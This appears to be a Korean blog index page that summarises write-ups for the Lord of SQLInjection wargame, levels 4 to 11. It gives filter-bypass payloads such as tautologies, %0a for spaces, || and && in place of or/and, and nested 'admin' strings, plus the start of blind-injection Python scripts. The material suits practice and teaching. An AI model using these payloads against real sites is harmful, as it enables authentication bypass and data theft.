본문 바로가기

반응형

#WarGame/Lord of SQLInjection

(19)
Lord of SQLInjection 11번 golem https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 11번 golem orge 문제 처럼 파이썬으로 pw를 정확히 구해야 하는 문제이다. 이번 문제에는 and, or 필터링에서 substr과 = 필터링까지 추가 되었다. pw 길이를 먼저 구할때 = 은 입력이 안되니까 like를 사용하여 우회한다. ?pw=%27%20||%20id%20like%20%27admin%27%26%26length(pw)>7%23 pw='' || id like 'admin'&&length(pw)>7#' 이상하게 뒤에 length(pw) like 8은 안된다.. 원래 안되는건가..// 일단 pw의 길이는 8글자이다. import requests ..
Lord of SQLInjection 10번 skeleton https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 10번 skeleton 이전에 풀었던 wolfman 문제와 비슷하다 뒤에 and 연산이 붙었는데 주석처리를 하여 검증을 하지 못하도록 하면 된다. ?pw=%27or%20id=%27admin%27%23 id='guest' and pw=''or id='admin'#' and 1=0 false and false or true (and는 주석처리)false or truetrue
Lord of SQLInjection 9번 vampire https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 9번 vampire if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); i 는 대소문자를 구분하지 않는 필터링이다. $_GET[id] = str_replace("admin","",$_GET[id]); $_GET[id]에 admin이라는 문자열이 있으면 공백으로 바꾸라는 뜻이다. str_replace() : 문자열을 치환하는 함수 1번째 인수 : 변경대상 문자열 2번째 인수 : 변경하려는 문자열 3번째 인수 : replace가 바꾸고자 하는 문자열 ?id=adadminmin replace함수가 있을 때 admin을 'a..
Lord of SQLInjection 8번 troll https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 8번 troll if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); 이번 문제는 '와 admin이 필터링 되어있다. 처음에 admin을 hex값으로 넣어보았지만 실패했다... admin우회기법을 검색해보면 단순문자열필터링 취약점으로 대소문자를 구분하지 않는다. ?id=Admin
Lord of SQLInjection 7번 orge https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 7번 orge 필터링은 or과 and가 걸려있고, pw를 검증하는 걸로 보아 정확한 pw를 찾아야 한다. orc문제에서 or와 and를 우회해서 쓰면 된다. pw 자릿수 구하기 import requests import re url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" cookies={"PHPSESSID":"세션"} for i in range(0,10): pay=f"?pw='|| id='admin'%26%26length(pw)={i};%23" #pw 길이 비교 res=reque..
Lord of SQLInjection 6번 darkelf https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 6번 darkelf if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); or 와 and가 필터링이 되었다. or 우회기법 ==> || and 우회기법 ==> %26%26 ?pw=%27%20||%20%271%27=%271%27%20%26%26%20id=%27admin%27%23 pw='' or '1'='1' and id='admin' 저번 문제와 똑같은 방식을 썼지만 여기서 or와 and만 바꾸면 된다. pw='' || '1'='1' && id='admin'#'
Lord of SQLInjection 5번 wolfman https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 5번 wolfman if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 기존 필터링에서 공백이 추가되었다. 공백 우회기법은 %0a를 입력하면 된다. %0a는 현재위치에서 다음 줄로 이동시키는 개행 문자이다. ?pw=%27%0aor%0a%271%27=%271%27%0aand%0aid=%27admin id='guest' and pw='' or '1'='1' and id='admin' false and false or true and true false or true true
Lord of SQLInjection 4번 orc https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 4번 orc if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 이전 문제에서는 id가 admin일때 문제가 해결되었지만 이번문제는 id가 admin일때 pw값을 직접 비교한다. 즉, pw값을 정확히 알아내야 하는 문제이다. Blind SQLInjection으로 해결할 수 있다. 우선 코드에서 length가 필터링이 안 되어있으므로 pw의 길이를 알아낼수 있다. pw=''or length(pw)>5;#' length 구문이 참인지 거짓인지를 Hello admin이라는 문자열로 알려준다. pw는 5..

반응형